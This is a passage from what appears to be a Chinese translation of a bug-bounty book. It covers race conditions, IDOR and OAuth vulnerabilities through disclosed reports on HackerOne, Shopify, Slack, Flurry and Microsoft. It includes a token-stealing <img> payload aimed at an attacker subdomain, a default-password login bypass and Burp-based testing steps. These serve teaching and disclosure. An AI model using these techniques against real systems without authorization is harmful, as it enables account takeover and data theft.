在2016年2月，我们测试了HackerOne对数据的未授权访问。其添加程序小组成员和添加队伍成员的邀请机制引起了我们的注意。尽管邀请系统已经做出了更新，但在当时的测试中，HackerOne发送的邀请的全局唯一链接没有和接收人的电子邮件地址绑定。任何人都可以收到邀请，但是邀请链接只能被一个人接受。作为bug猎人，我们不可能看到网站接受邀请的真实过程，但是我们仍然可以猜测网站程序是怎样运行的——以我们的猜测作为先验知识来寻找漏洞。HackerOne采用了全局唯一的、类似于令牌（token）的链接。因此，一种可能的过程是：网站应用会去数据库中对全局唯一的令牌进行查询，基于数据库的条目增添一个账号，然后更新数据库中的令牌记录，让这个链接不能再被使用。这类工作流程就有可能产生竞争条件，主要源自两个方面： 第一，这种“先查找一条记录，然后对相应的记录进行操作”的代码逻辑过程会产生延迟。查询操作是必须满足的预设条件，如果代码执行很慢，两个接近同时发生的请求可能同时进行查找，并且满足它们执行的条件。 第二，更新数据库中记录的操作可能会导致条件和修改条件之间动作的延迟。例如，更新记录首先需要查找数据库表以找到记录后再进行更新，这都需要耗费时间。 在实践中，为了测试是否存在竞争条件，除了主要HackerOne账户之外，我们创建了第二个和第三个账户（称这些账户为用户A，B和C）。作为用户A，我创建了一个程序小组（Program）并邀请了用户B进入该小组。然后我们注销了用户A的身份，以用户B的身份收到邀请电子邮件，并在我的浏览器中登录该账户。同时，我以另一个用户C的身份登录私人浏览器并打开了相同的邀请。接下来，我把两个浏览器并排，以便邀请接受按钮几乎彼此重叠，如图15-1所示。 图15-1 两个叠放的浏览器窗口显示了相同的HackerOne请求 然后，我尽可能快地单击了两个“接受”（Accept）按钮。第一次尝试没有成功，我们不得不进行第二次尝试。第二次尝试成功了，我设法用同一个邀请将两个用户添加到一个同一个程序小组（Program）。 要点 在某些情况下，尽管可能需要调整你的工作流程以便适应特殊的动作，你仍可以手动测试竞争条件。在这种情况下，我们可以将按钮并排排列，让操作更便捷。在需要执行复杂操作的情况下，你可能无法使用手动测试。这时你就需要编写测试程序，例如模拟自动点击操作，以便于可以几乎同时执行操作。"},
    {"text": "未知 15.2 Keybase超过邀请数上限 难度： 低 URL： https://keybase.io/_/api/1.0/send_invitations.json/ 报告位置： https://hackerone.com/reports/115007/ 报告日期： 2015年2月5日 支付奖金： 350美元 我们考察网站操作数量受限制的情况下的竞争条件。例如，安全类应用Keybase通过限制每个已注册用户拥有三个邀请注册权限来限制允许注册的人数。与前面的例子一样，黑客可以猜出Keybase如何限制邀请：一种可能的情况是，Keybase接收到邀请其他用户的请求，检查数据库判断用户是否还有邀请权限，如果有，则生成令牌，发送邀请电子邮件并减少用户已剩下的邀请数量。Josip Franjković认识到这种行为可能容易产生竞争条件。 Franjković访问了这个URL（ https://keybase.io/account/invitations/ ），他可以发送邀请、输入电子邮件地址并提交多个邀请。与HackerOne的邀请竞争条件不同，发送多个邀请很难手动完成，因此Franjković很可能使用Burp Suite生成邀请HTTP请求。 我们可以使用Burp Suite将请求发送到Burp Intruder，后者允许你在HTTP请求中定义插入点。你可以对每个HTTP请求指定迭代负载，并将HTTP负载添加到插入点。在这种情况下，如果Franjković使用Burp，他会指定多个电子邮件地址作为负载，并让Burp发送的所有请求同时进行。 最终，Franjković绕过了三个用户的限制，成功邀请了七个用户注册该网站。Keybase确认了三用户限制采用了不完善的设计，并使用“加锁”解决了该漏洞。“加锁”是一种编程概念，可以限制对某些资源的访问，让其他进程无法访问它们。 要点 在这种情况下，Keybase承认了邀请竞争条件，并付了奖金，但那些影响较小的漏洞不是所有的漏洞赏金计划都会考虑的，如15.1节介绍的那样。 未知 15.3 HackerOne付款竞争性条件 难度： 低 URL： 未公布 报告位置： 未公布 报告日期： 2017年4月12日 支付奖金： 1000美元 一些网站会根据你与它们的互动来更新结果。例如，当你在HackerOne上提交报告时，HackerOne会向你所提交报告的团队发送电子邮件，这会使团队更新统计数据。但是某些动作（例如付款）不会对HTTP请求立即做出回应。例如，HackerOne使用后台进程来创建付款服务（如PayPal）的汇款请求。后台进程动作通常是成批执行的，并由某个触发器启动。网站通常在需要处理大量数据时会使用它们，但是它们独立于用户的HTTP请求。这意味着当HackerOne的一个团队授予你奖金，在你的HTTP请求已处理之时，这个团队将尽可能快地得到一个付款收据，但汇款将添加到后台作业，在以后完成。 后台任务和数据处理是竞争条件的重要组成部分，因为它们可能会在检查动作（检查时）和完成动作（使用时）之间造成延迟。如果网站仅在添加后台任务时检查条件，而不是在实际使用该条件时检查，该网站的行为可能导致竞争条件。 2016年，对于使用PayPal付款的黑客，HackerOne开始把给他们的奖励合并成一次性付款。在这之前的策略是：当你一天被授予多笔奖金时，你获得的每笔奖金都会从HackerOne付一次款。更新策略后，你将收到所有奖金的一次性付款。 2017年4月，Jigar Thakkar测试了此功能并确认可能会出现重复支付。在付款过程中，HackerOne会根据电子邮件地址收集奖金，将它们合并为一个金额，然后将付款请求发送到PayPal。在这种情况下，前提条件是查找支付奖金相关的电子邮件地址。 Thakkar发现，如果两位HackerOne用户注册PayPal时的电子邮件地址是相同的，HackerOne就会把两笔奖金合成一笔，并汇入该单一Paypal付款地址。但是如果用户发现了这个漏洞，并在奖金合并之后，HackerOne的后台向Paypal发送请求之前更改他的Paypal地址，合并付款将同时发送给原始付款PayPal地址以及发现漏洞的用户的新电子邮件地址。 尽管Thakkar成功测试了此错误，利用后台任务可能仍需要一些小技巧：你必须知道任务的处理何时开始，并且你仅有几秒钟的时间可用于修改条件。 要点 如果你发现某个网站在你访问后效果良好，则表示该网站可能用后台作业来处理数据。这是一个测试的好机会。你需要更改定义任务的条件，并检查是否使用新条件而不是旧条件处理任务。你要测试后台作业是否立即执行。后台处理通常可以迅速进行，具体取决于已经在排队等待中的任务的多少以及网站处理数据的方法。"},
    {"text": "未知 15.4 Shopify合作伙伴竞争条件 难度： 高 URL： 未公布 报告位置： https://hackerone.com/reports/300305/ 报告日期： 2017年12月24日 支付奖金： 15250美元 前面披露的报告可以告诉你在哪里可以找到更多的bug。Tanner Emek使用此策略在Shopify的合作伙伴平台中发现了一个严重漏洞。该漏洞使Emek可以访问任何Shopify商店，只要他知道该商店当前员工的电子邮件地址即可。 Shopify的合作伙伴平台可让店主支持他们的合作伙伴——开发人员访问其商店。合作伙伴通过平台请求访问Shopify商店，且只有商店所有者批准该请求后，合作伙伴才能访问商店。但是要发送访问请求，合作伙伴必须具有经过验证的电子邮件地址。Shopify通过向提供的电子邮件地址发送全局唯一的Shopify URL来验证它。当合作伙伴访问URL时，该电子邮件地址被视为已验证。每当合作伙伴注册账户或更改现有账户的电子邮件地址时，都会触发此过程。 2017年12月，Emek阅读了@uzsunny撰写的曾经被奖励20000美元的报告。该报告中包含一个允许@uzsunny访问任何Shopify商店的漏洞。当两个合作伙伴账户共享同一封电子邮件并先后请求访问同一商店时，就会产生这个漏洞。Shopify的代码会自动将商店的现有员工账户转换为协作者账户。当合作伙伴在商店中拥有一个预先存在的员工账户，并从合作伙伴平台请求进行协作访问时，Shopify的代码会自动接受并转换为协作账号。这种转换大部分情况下是合理的，因为合作伙伴已经拥有作为员工访问商店的权利。 但是Shopify代码没有检查什么类型的账户与电子邮件地址相关联。处于“待定”状态的协作者账户，即尚未被商店所有者接受的账户，有可能会被转换为活跃的协作者账户。合作伙伴可以批准自己的协作者请求，而无须和商店所有者进行互动。 Emek认识到@uzsunny报告中的bug是由于其能够通过经过验证的电子邮件地址发送请求。他意识到：如果他可以创建一个账户并将该账户的电子邮件地址更改为工作人员的电子邮件地址，则能够使用与@uzsunny相同的方法将该工作人员账户转换为他控制的协作者账户。为了测试这个漏洞是否可以通过竞争条件实施，Emek使用他控制的电子邮件地址创建了一个合作伙伴账户。他收到了Shopify的验证电子邮件，但没有立即访问该URL。取而代之的是，他在合作伙伴平台中将自己的电子邮件地址更改为cache@hackerone.com（他并不是该邮箱拥有者），并使用Burp Suite截获了电子邮件更改请求。然后，他单击并截取了验证链接以验证他的电子邮件地址。一旦他已经拦截了两个HTTP请求，Emek使用Burp先后发送电子邮箱更改请求和验证请求，几乎同时进行。 发送请求后，Emek重新加载了页面，并发现Shopify已经执行了更改请求和验证请求。这些行为使Shopify验证了Emek的电子邮件地址为cache@hackerone.com。要求合作者访问拥有职员的电子邮件地址为cache@hackerone.com的所有Shopify商店都将允许Emek对其进行访问，而无须任何管理员交互。Shopify确认该bug是由改变和验证电子邮件应用程序逻辑引起的竞争条件导致的。Shopify通过在每次操作期间锁定账户数据库记录并要求商店管理员验证和批准所有协作者请求来修复该错误。 要点 让我们回顾一下有关5.2节中的报告，其中提到了修复一个漏洞并不能修复与应用程序功能相关的所有漏洞。当站点发布新漏洞时，请阅读报告并重新测试应用程序。你可能找不到任何问题，也可能绕过了开发人员的修复，又或者发现了新漏洞。至少你可以通过测试该功能来训练自己的一项新技能。你需要彻底测试每个验证系统，考虑开发人员如何对功能进行编码，以及它是否容易出现竞争条件。 未知 15.5 总结 竞争条件一般在这种情况下发生：网站执行取决于条件为真的动作，并且执行动作会改变这个条件。需要注意的是随时限制你可以执行的操作数量或使用后台作业处理操作的网站。一般情况下，竞争条件漏洞通常需要非常迅速地更改条件，因此，如果你认为某些漏洞是脆弱的，则可能需要多次尝试才能真正利用该行为。 未知 第16章 不安全的直接对象引用 当攻击者可以访问或修改对象的引用时，就会出现不安全的直接对象引用（IDOR）漏洞，这些对象包括文件、数据库记录、账户等，攻击者应该无法访问这些对象的引用。例如，我们假设网站www.<example>.com拥有私人用户配置文件，只有配置文件所有者可以通过URL www.<example>.com/user?id=1访问这些文件。id参数将显示当前正在查看哪个配置文件。如果你可以通过将id参数更改为2来访问其他人的配置文件，这将是一个IDOR漏洞。"},
    {"text": "未知 16.1 查找简单的IDOR 一些IDOR漏洞比其他漏洞更容易发现。最简单的IDOR漏洞与前面的示例类似：其中标识符是一个简单的整数，在创建新记录时自动递增。要测试这种IDOR，只需从id参数中添加或减去1，并确认可以访问不应该访问的记录。 你可以使用Web代理工具Burp Suite执行此测试，附录A中讨论了Web代理如何捕获浏览器发送到网站的流量。Burp允许你监视HTTP请求、动态修改它们和重播请求。要测试IDOR漏洞，你可以向Burp Intruder发送请求，在id参数上设置有效负载，并选择递增或递减的数值有效负载。 在启动Burp攻击之后，你可以通过检查Burp接收到的内容长度和HTTP响应代码来查看是否可以访问数据。例如，如果你正在测试的站点总是返回状态码403响应，这些响应的内容长度都相同，那么该站点可能不会受到攻击。状态码403表示访问被拒绝，因此统一的内容长度表明你正在接收标准的访问拒绝消息。但是如果你收到状态码200的响应和可变的内容长度，那么你可能已经访问了私有记录。 未知 16.2 查找复杂的IDOR 当id参数隐藏在POST主体中，或者不能通过参数名容易地识别时，就会出现复杂的IDOR漏洞。可能会遇到不明显的参数，比如ref、user或column被用作id。即使不能通过参数名轻松地识别ID，也可以通过参数的类型来识别该参数。当找到一个接受整数值的参数时，可以在ID被修改时测试站点行为如何变化。可使用Burp拦截HTTP请求、更改ID及使用Repeater工具来测试网站的行为。 当站点使用随机标识符（UUID）时，发现IDOR漏洞就更加困难。UUID是没有模式的36个字母、数字组成的字符串。如果发现一个站点使用UUID，通过测试随机值几乎不可能找到有效的记录或对象。但是可以创建两条记录，且在它们之间来回切换来测试是不是有IDOR漏洞。例如，假设试图访问使用UUID标识的用户配置文件。以用户A创建档案，然后以用户B登录，且尝试使用用户A的UUID来访问用户A的配置文件。 在某些情况下，使用UUID就可以访问对象。因为UUID是不易猜测的，因此有的站点可能不会认为这是一个漏洞。在这种情况下，你需要在披露的问题中寻找机会，以便获取网站的随机标识。假设在一个基于团队的网站上，用户由UUID标识。当邀请一个用户到团队时，邀请的HTTP响应可能会公开不安全的直接引用对象的UUID。在其他情况下，在网站上查询一条用户记录，可能获得包含UUID的返回结果。当找不到明显的UUID泄露时，可以查看包括HTTP响应在内的HTML源码，它可能会泄露一些在网站上不容易看到的信息。可以在Burp中监视请求，或者在Web浏览器中右键单击并选择View Page Source来查询页面源码以分析可能的漏洞。 即使找不到泄露的UUID，如果信息是敏感的并且明显违反了它们许可的权限，一些网站也会奖励发现漏洞者。你有责任向公司解释为什么你认为自己找到了一个公司应该解决的漏洞，以及这个漏洞会造成什么影响。下面的示例演示了查找IDOR漏洞的难度范围。 未知 16.3 Binary.com权限升级 难度： 低 URL： www.binary.com 报告位置： https://hackerone.com/reports/98247/ 报告日期： 2015年11月6日 支付奖金： 300美元 使用账户测试Web应用程序时，应该注册两个不同的账户并同时进行测试。这样做可以测试所控制的两个不同账户之间的IDOR，并了解预期的返回数据。这是Mahmoud Gamal在binary.com中发现IDOR时采用的方法。 binary.com网站是一个交易平台，允许用户交易货币、指数、股票和商品。在生成此报告时，URL www.binary.com/cashier将呈现一个带有src属性的iFrame，该属性引用子域cashier.binary.com，并将URL参数（如pin、password和secret）传递给该网站。这些参数很可能用于对用户进行身份验证。因为浏览器正在访问www.binary.com/cashier，所以如果不查看网站发送的HTTP请求，传递给cashier.binary.com的信息将不可见。 Gamal注意到pin参数被用作账户标识符，它似乎是一个很容易被猜到的递增整数。使用两个不同的账户，我们称之为账户A和账户B，以A账户访问/cashier路径，记录pin参数，然后登录到账户B。当修改账户B的iFrame为A账户的pin参数时，他可以授权的B账户获取A账户的信息和取款请求。 binary.com网站的团队在收到报告的一天内解决了以上的漏洞。他们声称将手动审查和批准取款，因此会注意到可疑的操作。 要点 在这种情况下，黑客通过使用一个账户的pin，同时以另一个账户登录，很容易地手工测试了漏洞。你还可以使用Burp的插件，如Autorize和Authmatrix来自动化这种类型的测试。 但要找到模糊的IDOR就比较困难了。网站使用的是iFrame，它容易导致URL及其参数丢失，因为如果不查看HTML页面源码，将无法发现隐藏的参数。网站跟踪iFrame和单个Web页面可能被多个URL访问这类情况的最好的方法是使用代理（如Burp）。Burp将在代理历史记录中记录所有访问其他URL请求，如cashier.binary.com，这将更容易捕获URL请求。"},
    {"text": "未知 16.4 Moneybird应用程序创建 难度： 中 URL： https://moneybird.com/user/applications/ 报告位置： https://hackerone.com/reports/135989/ 报告日期： 2016年5月3日 支付奖金： 100美元 2016年5月，我开始测试Moneybird的漏洞，重点关注它的用户账户权限。为此，我创建了一个账户A的业务，然后邀请第二个用户账户B以有限的权限加入。Moneybird定义了它分配给添加用户的权限，例如使用发票、评估等的能力。 具有完全权限的用户可以创建应用程序并启用API访问。例如，用户可以提交一个POST请求来创建一个具有完全权限的应用程序，如下所示： 可以看到，这个POST请求的body部分包括administration_id❶参数。这个ID就是被添加用户的账户ID。虽然ID的长度和随机性使猜测变得困难，但当新增用户访问邀请他们的账户时，邀请账户ID会立即被公开。例如，当账户B登录并访问账户A时，它们将被重定向到URL https://moneybird.com/ABCDEFGHIJKLMNOP/，其中ABCDEFGHIJKLMNOP是账户A的administration_id。 我测试了B账户是否可以在没有适当许可的情况下为A账户的业务创建一个应用程序。以B账户登录，创建了第二个业务，且B账户是其唯一的成员，则账户B对第二个业务具有全部权限。账户B应该对账户A拥有有限的权限，并且无权为其创建应用程序。 接下来，访问B账户的设置页面，创建了应用程序，使用Burp Suite拦截了POST请求的调用，且将administration_id替换为A账户的ID，转发修改后的请求，确认漏洞有效。作为账户B，有一个对账户A拥有完全权限的应用程序，这允许账户B绕过其对A账户的有限权限，使用新创建的应用程序执行任何它们本不应该执行的操作。 要点 寻找可能包含ID值的参数，比如任何包含字符id的参数名。尤其要注意只包含数字的参数值，因为这些ID很可能以某种可猜测的方式生成。如果你不能猜出一个ID，就需要自己确定它是否被泄露了。注意，administrator_id在其名称中给出了ID引用。尽管ID值不遵循可猜测的模式，但是每当用户被邀请到一家公司时，该值都会在URL中被公开。 未知 16.5 Twitter Mopub API Token被盗 难度： 中 URL： https://mopub.com/api/v3/organizations/ID/mopub/activate/ 报告位置： https://hackerone.com/reports/95552/ 报告日期： 2015年10月24日 支付奖金： 5040美元 在发现漏洞之后，需要考虑黑客滥用漏洞时可能带来的影响。2015年10月，Akhil Reni报告称Twitter的Mopub应用程序（2013年收购）容易受到IDOR攻击，将泄露API密钥和机密。但几周后，Reni意识到这个漏洞比他最初报告的更严重，并提交了更新。幸运的是，他是在Twitter支付奖金之前更新的。 当Reni最初提交他的报告时，他发现一个Mopub端点没有正确地授权用户，并且会在POST回复中泄露账户的API密钥和build_secret。下面是POST请求： 对请求的响应如下： Reni在他最初的Twitter报中描述了Mopub的POST响应将会提供api_key❷和build_secret❸的信息。但是访问网站信息时还需要知道organization_id❶，这是一个无法猜测的24位字符串。Reni注意到用户可以通过URL公开分享应用程序崩溃问题，比如http://crashes.to/s/<11 CHARACTERS>。访问其中一个URL时将在响应体中返回organization_id。Reni可以通过访问Google dork站点返回的URL（http://crashes.to/s/）来枚举organization_id值。通过api_key、build_secret和organization_id，攻击者可以窃取API Token。 Twitter解决了这个漏洞，并要求Reni确认他已经无法再访问这些漏洞信息。就在那时，Reni意识到HTTP响应中返回的build_secret也在URL https://app.mopub.com/complete/htsdk/?code=<BUILDSECRET>&amp;next=%2d中使用。该URL对用户进行身份验证，并将它们重定向到关联的Mopub账户，这将允许恶意用户登录到任何其他用户的账户。恶意用户可以通过Twitter的移动开发平台访问目标账户的应用程序和组织。Twitter回应了Reni的评论，要求Reni提供更多信息并重现攻击的步骤。 要点 注意，当涉及IDOR时，一定要确认漏洞的全部影响范围。在以上例子中，Reni发现他可以通过访问POST请求和使用dork获得保密参数。Reni最初报告说Twitter泄露了敏感信息，但直到后来他才意识到这些价值是如何在这个平台上使用的。如果Reni在提交报告后没有提供额外的信息，Twitter可能不会意识到它们的账户容易被其他账户接管，那样的话它们可能会支付给Reni更少的钱。"},
    {"text": "未知 16.6 ACME客户信息泄露 难度： 高 URL： https://www.<acme>.com/customer_summary?customer_id=abeZMloJy UovapiXqrHyi0DshH 报告位置： 未公布 报告日期： 2017年2月20日 支付奖金： 3000美元 上面这个bug是HackerOne上一个私有程序的一部分。这个漏洞至今仍未公开，其中的所有信息均已被匿名。 在本例中，有一家公司（将其称为ACME公司）开发了一个软件，允许管理员创建用户并向这些用户分配权限。当开始测试软件的漏洞时，我以管理员账户创建了第二个没有权限的用户。使用第二个用户账户登录，且开始访问管理员有权访问而第二个用户无权访问的URL。 我使用普通账户，通过URL www.<acme>.com/customization/customer_summary? customer_id=abeZMloJyUovapiXqrHyi0DshH访问了客户详细信息页面。这个URL根据传递给customer_id参数的ID返回客户信息。我很惊讶地看到，客户详细信息被返回到第二个用户账户。 尽管customer_id看起来是不可猜测的，但它可能在站点的某个地方被错误地公开了。另外，就算用户的权限被撤销，如果他们知道customer_id，他们仍然能够访问客户信息。因此我报告了这个漏洞。事后来看，应该在报告之前查找泄露的customer_id，因为该项目觉得这个报告具有参考性质，但是以customer_id不可猜测为理由结束了报告。参考性质的报告不会有奖金，并可能对你的HackerOne统计带来负面影响。但是我没有气馁，开始通过测试能找到的所有端点来寻找ID可能泄露的位置。两天后，我发现了一个漏洞。 我开始用一个用户访问URL，这个用户只有搜索订单的权限，不应该有任何访问客户或产品信息的权限。但我从一个订单搜索中找到了如下的响应JSON： 注意，JSON包括customer_id❶，这个ID和在URL中显示客户信息时使用的ID是同一个。这意味着客户ID被泄露了，没有特权的用户可以找到并访问他们不应该有权限查看的客户信息。 除了找到customer_id之外，我继续调查了漏洞的影响程度。我还发现了其他ID，它们也可以用于URL中，以返回本不可访问的信息。我的第二次报告被接受了，并得到了奖励。 要点 当发现一个漏洞时，请确保攻击者可以在多大程度上使用它。尝试查找泄露的标识符或其他可能具有类似漏洞的ID。此外，如果某个项目与你的报告不一致，也不要气馁。可以继续寻找可能使用该漏洞的其他地方，如果找到任何进一步的信息，可以提交另一份报告。 未知 16.7 总结 当攻击者可以访问或修改他们不应该访问的对象的引用时，就会出现IDOR。IDOR可以很简单：它们可能需要通过加减1来利用数值递增的整数。对于使用UUID或随机标识符的更复杂的IDOR，可能需要对平台进行彻底的测试，以防止泄露。可以检查各种地方的泄露，比如JSON响应中、HTML内容中，或者通过Google Dork或URL泄露。在报告时，一定要详细说明攻击者是如何滥用该漏洞的。例如，攻击者可以绕过平台权限的漏洞的奖金，将低于导致完全控制账户的漏洞的奖金。 未知 第17章 OAuth漏洞 OAuth是一个为移动和桌面应用程序提供简化和规范网络安全授权的开放协议。此协议允许用户无须创建用户名或密码就可以在网站上创建账户。它通常被展示为我们在网站上看到的“使用某平台登录”的按钮一样，如图17-1所示，这些平台包括Facebook，Google，LinkedIn，Twitter等。 图17-1 OAuth示例——使用Google登录按钮 OAuth漏洞是一种应用程序配置漏洞，这意味着它们依赖于开发人员的实现错误。然而，考虑到OAuth漏洞的影响和频率，它们是值得用整整一章的篇幅来讨论的。虽然OAuth漏洞有很多种，但本章的例子将主要包括当攻击者能够利用OAuth窃取身份验证令牌并访问目标用户在资源服务器上的账户信息的情况。 在撰写本文时，OAuth有两个版本，1.0a和2.0，这两个版本彼此互不兼容。关于OAuth的书有很多，但是本章主要关注OAuth 2.0和基本的OAuth工作流。"},
    {"text": "未知 17.1 OAuth工作流 OAuth过程很复杂，所以让我们从基本术语开始。在最基本的OAuth流程中涉及三个角色： ●资源所有者是试图通过OAuth登录的用户。 ●资源服务器是第三方验证资源的API所有者。任何站点都可以是资源服务器，但最流行的站点包括Facebook、Google、LinkedIn等。 ●客户是第三方资源所有者访问的应用程序。客户被允许访问资源服务器上的数据。 当你尝试使用OAuth登录时，客户端请求从资源服务器获取你的信息，并请求资源所有者（在本例中为你）批准访问数据。客户可能会要求访问你的所有信息或仅特定部分的信息。客户机请求是由范围定义的。作用域与权限类似，它们限制了应用程序可以访问资源服务器的权限。例如，Facebook范围包括用户的email、public_profile、user_friends等。如果你只授予客户端访问权限为email范围，客户端就无法访问你的个人信息、朋友列表和其他信息。 现在你已经了解了涉及的参与者，接下来让我们研究首次使用Facebook作为示例资源服务器登录到客户端时的OAuth处理过程。当你访问客户端并单击“通过Facebook登录”的按钮时，OAuth处理流程就此开始。此动作会触发一个GET请求到客户端上的身份验证端点。通常，路径看起来是这样的：https://www.<example>.com/oauth/facebook/。以Shopify举例来说，用户通过OAuth URL https://<STORE>.myshopify.com/admin/auth/login?google_apps=1/使用Google登录账号。 此时，客户端使用302重定向到资源服务器来响应此HTTP请求。重定向URL将包含参数以帮助OAuth过程变得更容易，定义如下： ●client_id将客户端标识为资源服务器。每个客户端将有自己的client_id，以便资源服务器可以识别发起请求访问资源所有者信息的应用程序。 ●redirect_uri会在资源服务器经过身份验证后，标识资源所有者的浏览器应重新定向的位置。 ●response_type标识了要提供的响应类型。这通常是令牌或代码，尽管资源服务器可以定义其他可接受的值。令牌响应类型提供一个可立即允许访问来自资源服务器的信息的访问令牌。如果是代码响应类型，此访问代码则必须通过OAuth过程中的一个额外步骤来交换访问令牌。 ●前面提到的范围将识别客户端请求从资源服务器访问的权限。第一次授权请求时，应向资源所有者提供一个对话框，使其审查和批准请求的范围。 ●状态是一个可以阻止跨站点请求伪造的不可猜测的值，可以防止跨站点请求伪造。这个值是可选的，但是应该在所有OAuth应用程序上执行，而且包含在HTTP对资源服务器的请求中。此后，它应该被返回并由客户端验证，以确保攻击者不能代表其他用户恶意调用OAuth进程。 让我们来看一个通过Facebook URL初始化OAuth进程的例子：https://www.facebook.com/v2.0/dialog/oauth?client_id=123&redirect_uri=https%3A%2F%2Fwww.<example>.com%2Foauth%2Fcallback&response_type=token&scope=email&state=XYZ 在接收到302重定向响应后，浏览器发送一个GET请求到资源服务器。假设你已登录到资源服务器，你将应该看到一个对话框来批准客户端请求的范围。 图17-2显示了一个以Facebook（资源服务器）代表资源所有者，请求访问信息的网站Quora（客户端）的例子。 点击“Continue as John”按钮批准Quora的访问请求列出的范围，包括资源所有者的公共配置文件、好友列表、生日，家乡等。资源所有者单击该按钮后，Facebook返回一个302 HTTP响应，将浏览器重定向至由前面讨论的redirect_uri参数定义的URL。重定向还包括一个令牌和状态参数。下面是一个从Facebook重定向到Quora的URL示例（已经为这本书做了修改）： 在本例中，Facebook返回了一个访问令牌，Quora（客户端）可以用该令牌来立即查询资源所有者的信息。一旦客户端有access_token，资源所有者参与到OAuth中的过程就完成了。客户端将直接查询Facebook API，以获取它需要的关于资源所有者的信息。资源所有者将能够在不感知交互的情况下在客户端和API之间使用客户机。 图17-2 使用Facebook OAuth范围授权的Quora登录 但是，如果Facebook返回的是代码而不是访问令牌，Quora就需要用该代码交换访问令牌，以便从资源服务器查询信息。这个过程是在客户端和资源服务器中间完成的，没有涉及资源所有者的浏览器。为了获得令牌，客户端向资源服务器发出自己的HTTP请求，该请求包含三个URL参数：访问代码、client_id和client_secret。访问代码是通过302 HTTP重定向从资源服务器返回的值；client_secret是客户端的私密值，它是在配置应用程序和分配client_id时由资源服务器生成的。 最后，一旦资源服务器接收到来自客户端使用client_secret、client_id和访问代码发出的请求，它会验证这些值并向客户端返回一个access_token。在此阶段，客户端可以查询关于资源所有者的信息，OAuth的信息过程就完成了。一旦你批准资源服务器访问你的信息，下次你使用Facebook登录到客户端时，OAuth认证过程通常就在后台进行了。除非你监视HTTP请求，否则将不会看到任何这种交互。客户端可以更改此默认行为，以要求资源所有者重新进行身份验证和批准范围但这是非常罕见的。 OAuth漏洞的严重程度取决于与失窃的令牌相关联的允许范围，如下面的例子所示。"},
    {"text": "未知 17.2 窃取Slack OAuth令牌 难度： 低 URL： https://slack.com/oauth/authorize/ 报告位置： http://hackerone.com/reports/2575/ 报告日期： 2013年3月1日 支付奖金： 100美元 当开发人员不正确配置或比较被允许的redirect_uri参数时，就会出现一个常见的OAuth漏洞。2013年3月，Prakhar Prasad发现Slack在OAuth实现过程中有漏洞。Prasad告诉Slack，他可以通过附加任何内容到白名单的redirect_url上来绕过redirect_uri限制。换句话说，Slack只是验证了redirect_uri参数的开始。如果开发者已在Slack上注册一个新的应用程序，并将https://www.<example>.com设为白名单，那么攻击者可以向URL追加一个值并导致其重定向到任何地方。例如，修改URL来传递redirect_uri=https://<attacker>.com将被拒绝，但是传递redirect_uri=https://www.<example>.com.mx将被接受。 要利用这种行为，攻击者只需在他们的网站上创建匹配的子域。如果目标用户访问了被修改的URL，Slack会向攻击者的站点发送OAuth令牌。攻击者可以通过嵌入恶意网页上的<img>标签来仿冒目标用户调用请求，比如<img src=https://slack.com/oauth /authorize?response_type=token&client_id=APP_ID&redirect_uri=https://www.example.com.attacker.com>。使用<img>标记会自动调用HTTP GET请求。 要点 redirect_uri没有被严格检查的漏洞是一个常见的OAuth错误配置。有时脆弱性才是应用程序注册域最重要的后果，例如设置*.<example>.com作为一个可接受的redirect_uri。大多数时候，它是没有对redirect_url参数的开始和结束执行严格检查的资源服务器的结果。但在本例中，它是后者。当你寻找OAuth漏洞时，记得一定要测试任何表明正在使用重定向的参数。 未知 17.3 使用默认密码通过身份验证 难度： 低 URL： https://flurry.com/auth/v1/account/ 报告位置： https://lightningsecurity.io/blog/password-not-provided/ 报告日期： 2017年6月30日 支付奖金： 未公布 在任何OAuth实现中寻找漏洞，都需要检查从开始到结束的整个身份验证过程。这包括识别不属于标准化流程的HTTP请求。这样的请求通常表明开发人员已经定制了处理流程并可能已经引入了错误。2017年6月，当Jack Cable研究了雅虎的漏洞奖励计划时，他注意到了这种情况。 雅虎的奖励计划包括分析网站Flurry.com。为了开始他的测试，Cable用他的@yahoo.com电子邮件地址通过雅虎的OAuth实现注册了一个Flurry账户。当Flurry和雅虎交换了OAuth令牌后，最后一个POST请求是以下几点： \"password\":\"not-provided\"部分的要求❶引起了Cable的注意。注销账户后，他在没有使用OAuth的情况下重新访问了https://login.flurry.com/。相反，他提供了他的电子邮件地址和密码not-provided。这招奏效了，Cable登录了他的账户。 如果有用户使用他们的雅虎账户和OAuth过程登入Flurry，Flurry将在其系统中注册该账户为客户端。然后Flurry会用默认密码not-provided来保存用户账户。Cable提交了漏洞，雅虎在收到报告的五小时内就修补了这个漏洞。 要点 在这个案例中，当用户被删除后，使用POST请求创建用户账户的身份验证时，Flurry在身份验证中包含了一个额外的自定义步骤。自定义OAuth实现步骤经常被配置错误，会导致漏洞，所以一定要对这些流程进行彻底的测试。Flurry很可能在现有的用户注册过程中构建它的OAuth工作流，以求与应用程序的其余部分相匹配。Flurry可能并不要求用户在实施雅虎OAuth之前创建账户。为了适应没有账户的用户，开发人员可能决定调用相同的注册POST请求来创建用户。但是请求需要一个密码参数，所以Flurry设置了一个不安全的密码默认值。"},
    {"text": "未知 17.4 窃取微软登录令牌 难度： 高 URL： https://login.microsoftonline.com 报告位置： https://whitton.io/articles/obtaining-tokens-outlook-office-azure-account/ 报告日期： 2016年1月24日 支付奖金： 13000美元 虽然微软没有实现标准的OAuth流，但它使用了一个非常类似的过程，可以用于测试OAuth应用程序。当你测试OAuth或任何类似的身份验证过程时，一定要彻底测试重定向参数是如何被验证的。一个实现这一点的方法是向应用程序传递不同的URL结构。这正是Jack Whitton在2016年1月测试微软的登录程序时发现他可以窃取认证令牌时所做的。 微软拥有很多旗下资产，它对用户身份的验证，取决于login.live.com、login.microsoftonline.com和login.windows.net提出的验证请求。这些URL将为用户返回一个会话。例如，outlook.office.com的流是以下形态： 1）用户将访问 https://outlook.office.com 。 2）用户将被重定向到 https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&id=260563 。 3）如果用户已登录，将向wreply参数发出POST请求参数，同时也会发出一个包含用户令牌的t参数。 